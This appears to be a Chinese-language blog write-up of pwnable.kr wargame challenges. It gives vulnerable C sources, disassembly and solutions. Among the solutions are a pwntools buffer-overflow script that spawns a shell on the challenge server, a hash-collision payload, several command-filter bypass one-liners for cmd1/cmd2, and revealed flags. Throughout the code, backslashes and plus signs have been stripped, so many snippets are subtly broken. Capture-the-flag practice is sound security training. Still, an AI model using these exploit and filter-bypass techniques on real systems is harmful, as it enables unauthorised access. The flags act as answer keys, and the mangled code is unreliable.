pwnable.kr

2023-05-09 14:27:44 浏览数 (1)

fd - 1 pt

代码语言:javascript复制
Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
➜  Tools ssh fd@pwnable.kr -p2222
The authenticity of host '[pwnable.kr]:2222 ([128.61.240.205]:2222)' can't be established.
ECDSA key fingerprint is SHA256:I9nWMZvctQv4Vypnh9ICs6aB2g20WV/EjTIYJ83P0K8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[pwnable.kr]:2222,[128.61.240.205]:2222' (ECDSA) to the list of known hosts.
fd@pwnable.kr's password:
 ____  __    __  ____    ____  ____   _        ___      __  _  ____
|    |  |__|  ||      /    ||     | |      /  _]    |  |/ ]|    
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |     |    /
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     |    
|  |         / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  
|__|    _/_/  |__|__||__|__||_____||_____||_____||__||__|_||__|_|

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have new mail.
Last login: Fri Oct  9 06:05:28 2020 from 222.206.18.226
fd@pwnable:~$ ls -al
total 40
drwxr-x---   5 root   fd   4096 Oct 26  2016 .
drwxr-xr-x 116 root   root 4096 Apr 17 14:10 ..
d---------   2 root   root 4096 Jun 12  2014 .bash_history
-r-sr-x---   1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r--   1 root   root  418 Jun 11  2014 fd.c
-r--r-----   1 fd_pwn root   50 Jun 11  2014 flag
-rw-------   1 root   root  128 Oct 26  2016 .gdb_history
dr-xr-xr-x   2 root   root 4096 Dec 19  2016 .irssi
drwxr-xr-x   2 root   root 4096 Oct 23  2016 .pwntools-cache
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a numbern");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWINn", buf)){
		printf("good job :)n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IOn");
	return 0;

}
代码语言:javascript复制
fd@pwnable:~$ echo LETMEWIN | ./fd 4660
good job :)
mommy! I think I know what a file descriptor is!!

collision - 3 pt

代码语言:javascript复制
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>
#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char *p) {
    int *ip = (int *) p;
    int res = 0;
    for (int i = 0; i < 5; i  ) {
        res  = ip[i];
    }
    return res;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("usage : %s [passcode]n", argv[0]);
        return 0;
    }
    
    if (strlen(argv[1]) != 20) {
        printf("passcode length should be 20 bytesn");
        return 0;
    }

    if (hashcode == check_password(argv[1])) {
        system("/bin/cat flag");
        return 0;
    } else
        printf("wrong passcode.n");
    return 0;
}

注意的点:

char 转 int,拿到的是 ASCII

代码语言:javascript复制
转义为short型整数: struct.unpack('<hh', bytes(b'x01x00x00x00'))  ==>  (1, 0)
转义为long型整数: struct.unpack('<L', bytes(b'x01x00x00x00'))  ==>  (1,)

小端,需要转一下

代码语言:javascript复制
>>> from pwn import *
>>> p32(0x21DD09EC - u32('x01x01x01x01')*4)
b'xe8x05xd9x1d'

col@pwnable:~$ ./col `python -c "print 'x01' * 16   'xe8x05xd9x1d'"`
daddy! I just managed to create a hash collision :)

bof - 5 pt

代码语言:javascript复制
Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000
代码语言:javascript复制
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key) {
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if (key == 0xcafebabe) {
        system("/bin/sh");
    } else {
        printf("Nah..n");
    }
}

int main(int argc, char *argv[]) {
    func(0xdeadbeef);
    return 0;
}

目标:覆盖 key 的值为 0xcafebabe。找一下 overflowmekey 的偏移量就好了。

代码语言:javascript复制
.text:0000062C s               = byte ptr -2Ch
.text:0000062C var_C           = dword ptr -0Ch
.text:0000062C arg_0           = dword ptr  8
.text:0000062C
.text:0000062C ; __unwind {
.text:0000062C                 push    ebp
.text:0000062D                 mov     ebp, esp
.text:0000062F                 sub     esp, 48h
.text:00000632                 mov     eax, large gs:14h
.text:00000638                 mov     [ebp var_C], eax
.text:0000063B                 xor     eax, eax
.text:0000063D                 mov     dword ptr [esp], offset s ; "overflow me : "
.text:00000644                 call    puts
.text:00000649                 lea     eax, [ebp s]
.text:0000064C                 mov     [esp], eax      ; s
.text:0000064F                 call    gets
.text:00000654                 cmp     [ebp arg_0], 0CAFEBABEh
.text:0000065B                 jnz     short loc_66B
.text:0000065D                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:00000664                 call    system
.text:00000669                 jmp     short loc_677
.text:0000066B ; ------------------------------------------------------------------------

关键的比较逻辑:cmp [ebp 8], 0CAFEBABEh。gets 这里也是用的相对 ebp 的地址,这就简单了。

传参给 gets 是用的 eax,这有条 lea eax, [ebp s] 的指令,所以 overflowme 数组的起始地址是 ebp s

而 s 是 -2Ch,所以这里的地址差就是 0x2c 8,即 52。

代码语言:javascript复制
from pwn import *

target = remote('pwnable.kr', 9000)

payload = b"A" * 52   p32(0xcafebabe)
target.sendline(payload)

#Drop to an interactive shell, so we can read everything the server prints out
target.interactive()

Python3 的 byte 不能直接和 str 拼接了,需要转一下。

flag - 7 pt

代码语言:javascript复制
Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

IDA 打开,发现只有一个 start 和另外两个函数,可能有壳,upx -d。

ELF 的也可以用 exeinfo 查看一下。

代码语言:javascript复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // [rsp 8h] [rbp-8h]

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = (char *)malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

跟进 flag 定义,就能看到 flag 了。

passcode - 10 pt

代码语言:javascript复制
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>

void login() {
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...n");
    if (passcode1 == 338150 && passcode2 == 13371337) {
        printf("Login OK!n");
        system("/bin/cat flag");
    } else {
        printf("Login Failed!n");
        exit(0);
    }
}

void welcome() {
    char name[100];
    printf("enter you name : ");
    scanf("0s", name);
    printf("Welcome %s!n", name);
}

int main() {
    printf("Toddler's Secure Login System 1.0 beta.n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)n");
    return 0;
}
代码语言:javascript复制
scanf("0s", name);

这里的 100s 是限制输入长度不能超过 100,超过就 Segmentation fault (core dumped)

代码语言:javascript复制
passcode@pwnable:~$ checksec passcode
[*] '/home/passcode/passcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这个题有点意思,考的是 GOT 表劫持。

random - 1 pt

代码语言:javascript复制
Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>

int main() {
    unsigned int random;
    random = rand();  // random value!

    unsigned int key = 0;
    scanf("%d", &key);

    if ((key ^ random) == 0xdeadbeef) {
        printf("Good!n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.n");
    return 0;
}

未指定 srand 播种,则每次都是默认种子,所以每次运行得到的随机数是固定的。

代码语言:javascript复制
#include "stdio.h"
#include "stdlib.h"

int main() {
    for (int i = 0; i < 5; i  ) {
        printf("%d	", rand());
    }

    return 0;
}

// 1804289383  846930886  1681692777  1714636915  1957747793
代码语言:javascript复制
pwndbg> p random
$1 = 1804289383

>>> 1804289383 ^ 0xdeadbeef
3039230856

input - 4 pt

代码语言:javascript复制
Mom? how can I pass my input to a computer program?

ssh input2@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char *argv[], char *envp[]) {
    printf("Welcome to pwnable.krn");
    printf("Let's see if you know how to give input to programn");
    printf("Just give me correct inputs then you will get the flag :)n");

    // argv
    if (argc != 100) return 0;
    if (strcmp(argv['A'], "x00")) return 0;
    if (strcmp(argv['B'], "x20x0ax0d")) return 0;
    printf("Stage 1 clear!n");

    // stdio
    char buf[4];
    read(0, buf, 4);
    if (memcmp(buf, "x00x0ax00xff", 4)) return 0;
    read(2, buf, 4);
    if (memcmp(buf, "x00x0ax02xff", 4)) return 0;
    printf("Stage 2 clear!n");

    // env
    if (strcmp("xcaxfexbaxbe", getenv("xdexadxbexef"))) return 0;
    printf("Stage 3 clear!n");

    // file
    FILE *fp = fopen("x0a", "r");
    if (!fp) return 0;
    if (fread(buf, 4, 1, fp) != 1) return 0;
    if (memcmp(buf, "x00x00x00x00", 4)) return 0;
    fclose(fp);
    printf("Stage 4 clear!n");

    // network
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if (sd == -1) {
        printf("socket error, tell adminn");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons(atoi(argv['C']));
    if (bind(sd, (struct sockaddr *) &saddr, sizeof(saddr)) < 0) {
        printf("bind error, use another portn");
        return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *) &caddr, (socklen_t * ) & c);
    if (cd < 0) {
        printf("accept error, tell adminn");
        return 0;
    }
    if (recv(cd, buf, 4, 0) != 4) return 0;
    if (memcmp(buf, "xdexadxbexef", 4)) return 0;
    printf("Stage 5 clear!n");

    // here's your flag
    system("/bin/cat flag");
    return 0;
}

leg - 2 pt

代码语言:javascript复制
Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

mistake - 1 pt

代码语言:javascript复制
We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

shellshock - 1 pt

代码语言:javascript复制
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)

coin1 - 6 pt

代码语言:javascript复制
Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

blackjack - 1 pt

代码语言:javascript复制
Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?


Running at : nc pwnable.kr 9009

lotto - 2 pt

代码语言:javascript复制
Mommy! I made a lotto program for my homework.
do you want to play?


ssh lotto@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play() {
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r = read(0, submit, 6);

    printf("Lotto Start!n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if (fd == -1) {
        printf("error. tell adminn");
        exit(-1);
    }
    unsigned char lotto[6];
    if (read(fd, lotto, 6) != 6) {
        printf("error2. tell adminn");
        exit(-1);
    }
    for (int i = 0; i < 6; i  ) {
        lotto[i] = (lotto[i] % 45)   1;         // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for (int i = 0; i < 6; i  ) {
        for (j = 0; j < 6; j  ) {
            if (lotto[i] == submit[j]) {
                match  ;
            }
        }
    }

    // win!
    if (match == 6) {
        system("/bin/cat flag");
    } else {
        printf("bad luck...n");
    }

}

void help() {
    printf("- nLotto Rule -n");
    printf("nlotto is consisted with 6 random natural numbers less than 46n");
    printf("your goal is to match lotto numbers as many as you cann");
    printf("if you win lottery for *1st place*, you will get rewardn");
    printf("for more details, follow the link belown");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01nn");
    printf("mathematical chance to win this game is known to be 1/8145060.n");
}

int main(int argc, char *argv[]) {
    // menu
    unsigned int menu;

    while (1) {
        printf("- Select Menu -n");
        printf("1. Play Lotton");
        printf("2. Helpn");
        printf("3. Exitn");

        scanf("%d", &menu);

        switch (menu) {
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("byen");
                return 0;
            default:
                printf("invalid menun");
                break;
        }
    }
    return 0;
}

cmd1 - 1 pt

代码语言:javascript复制
Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)
代码语言:javascript复制
#include <stdio.h>
#include <string.h>

int filter(char *cmd) {
    int r = 0;
    r  = strstr(cmd, "flag") != 0;
    r  = strstr(cmd, "sh") != 0;
    r  = strstr(cmd, "tmp") != 0;
    return r;
}

int main(int argc, char *argv[], char **envp) {
    putenv("PATH=/thankyouverymuch");
    if (filter(argv[1])) return 0;
    system(argv[1]);
    return 0;
}

有简单过滤的命令执行 :)

代码语言:javascript复制
cmd1@pwnable:~$ ./cmd1 '/bin/cat fl""ag'
mommy now I get what PATH environment is for :)

cmd2 - 9 pt

代码语言:javascript复制
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
代码语言:javascript复制
#include <stdio.h>
#include <string.h>

int filter(char *cmd) {
    int r = 0;
    r  = strstr(cmd, "=") != 0;
    r  = strstr(cmd, "PATH") != 0;
    r  = strstr(cmd, "export") != 0;
    r  = strstr(cmd, "/") != 0;
    r  = strstr(cmd, "`") != 0;
    r  = strstr(cmd, "flag") != 0;
    return r;
}

extern char **environ;

void delete_env() {
    char **p;
    for (p = environ; *p; p  ) memset(*p, 0, strlen(*p));
}

int main(int argc, char *argv[], char **envp) {
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if (filter(argv[1])) return 0;
    printf("%sn", argv[1]);
    system(argv[1]);
    return 0;
}

有意思的点在于,在 / 没了的情况下绕 PATH

这有个小知识点,Bash、sh 的 built-in 命令。

http://manpages.ubuntu.com/manpages/xenial/man7/bash-builtins.7.html

下面的解法全是围绕这些 built-in 展开 :)

代码语言:javascript复制
command [-pVv] command [arg ...]
    Run  command  with  args suppressing the normal shell function lookup. Only builtin
    commands or commands found in the PATH are executed.  If the -p  option  is  given,
    the  search  for  command  is  performed  using  a  default  value for PATH that is
    guaranteed to find all of the standard utilities.  If either the -V or -v option is
    supplied,  a description of command is printed.  The -v option causes a single word
    indicating the command or filename used to invoke command to be displayed;  the  -V
    option  produces  a  more verbose description.  If the -V or -v option is supplied,
    the exit status is 0 if command was found, and 1 if  not.   If  neither  option  is
    supplied  and an error occurred or command cannot be found, the exit status is 127.
    Otherwise, the exit status of the command builtin is the exit status of command.
代码语言:javascript复制
cmd2@pwnable:~$ ./cmd2 'command -p cat fla*'
command -p cat fla*g
FuN_w1th_5h3ll_v4riabl3s_haha

cmd2@pwnable:~$ ./cmd2 'read b < f""lag; echo $b'
read b < f""lag; echo $b
FuN_w1th_5h3ll_v4riabl3s_haha

cmd2@pwnable:~$ ./cmd2 'set -s'
set -s
/bin/ls
cmd2  cmd2.c  flag
/bin/cat flag
FuN_w1th_5h3ll_v4riabl3s_haha
代码语言:javascript复制
cd / && /home/cmd2/cmd2 '$(pwd)"bin"$(pwd)cat $(pwd)"home"$(pwd)"cmd2"$(pwd)"fl""ag"'

# 八进制
./cmd2 '$(printf \057bin\057cat) fl""ag'
./cmd2 '$(echo "571421511565714314116440146154141147")'

./cmd2 '$(printf "%b%c%c%c%b%c%c%c%b%b%b%c%c%c%c" "57" "b" "i" "n" "57" "c" "a" "t" "40" "56" "57" "f" "l" "a" "g")'

echo "/bin/cat flag" | ./cmd2 "read myvar; command $myvar"


./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag


./cmd2 '$(printf "57bin57sh")'
$ /bin/cat < flag

uaf - 8 pt

代码语言:javascript复制
Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

memcpy - 10 pt

代码语言:javascript复制
Are you tired of hacking?, take some rest here.
Just help me out with my small experiment regarding memcpy performance. 
after that, flag is yours.

http://pwnable.kr/bin/memcpy.c

ssh memcpy@pwnable.kr -p2222 (pw:guest)

asm - 6 pt

代码语言:javascript复制
Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

unlink - 10 pt

代码语言:javascript复制
Daddy! how can I exploit unlink corruption?

ssh unlink@pwnable.kr -p2222 (pw: guest)

blukat - 3 pt

代码语言:javascript复制
Sometimes, pwnable is strange...
hint: if this challenge is hard, you are a skilled player.

ssh blukat@pwnable.kr -p2222 (pw: guest)
代码语言:javascript复制
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>

char flag[100];
char password[100];
char *key = "3rG[S/%x1cx1d#0?rISx0fx1cx1dx18;,4x1bx00x1bp;5x0bx1bx08x45 ";

void calc_flag(char *s) {
    int i;
    for (i = 0; i < strlen(s); i  ) {
        flag[i] = s[i] ^ key[i];
    }
    printf("%sn", flag);
}

int main() {
    FILE *fp = fopen("/home/blukat/password", "r");
    fgets(password, 100, fp);
    char buf[100];
    printf("guess the password!n");
    fgets(buf, 128, stdin);
    if (!strcmp(password, buf)) {
        printf("congrats! here is your flag: ");
        calc_flag(password);
    } else {
        printf("wrong guess!n");
        exit(0);
    }
    return 0;
}
代码语言:javascript复制
blukat@pwnable:~$ ls -al
total 36
drwxr-x---   4 root blukat     4096 Aug 16  2018 .
drwxr-xr-x 116 root root       4096 Apr 17 14:10 ..
-r-xr-sr-x   1 root blukat_pwn 9144 Aug  8  2018 blukat
-rw-r--r--   1 root root        645 Aug  8  2018 blukat.c
dr-xr-xr-x   2 root root       4096 Aug 16  2018 .irssi
-rw-r-----   1 root blukat_pwn   33 Jan  6  2017 password
drwxr-xr-x   2 root root       4096 Aug 16  2018 .pwntools-cache

blukat@pwnable:~$ cat password
cat: password: Permission denied


blukat@pwnable:~$ ./blukat
guess the password!
cat: password: Permission denied
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

horcruxes - 7 pt

代码语言:javascript复制
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

0 人点赞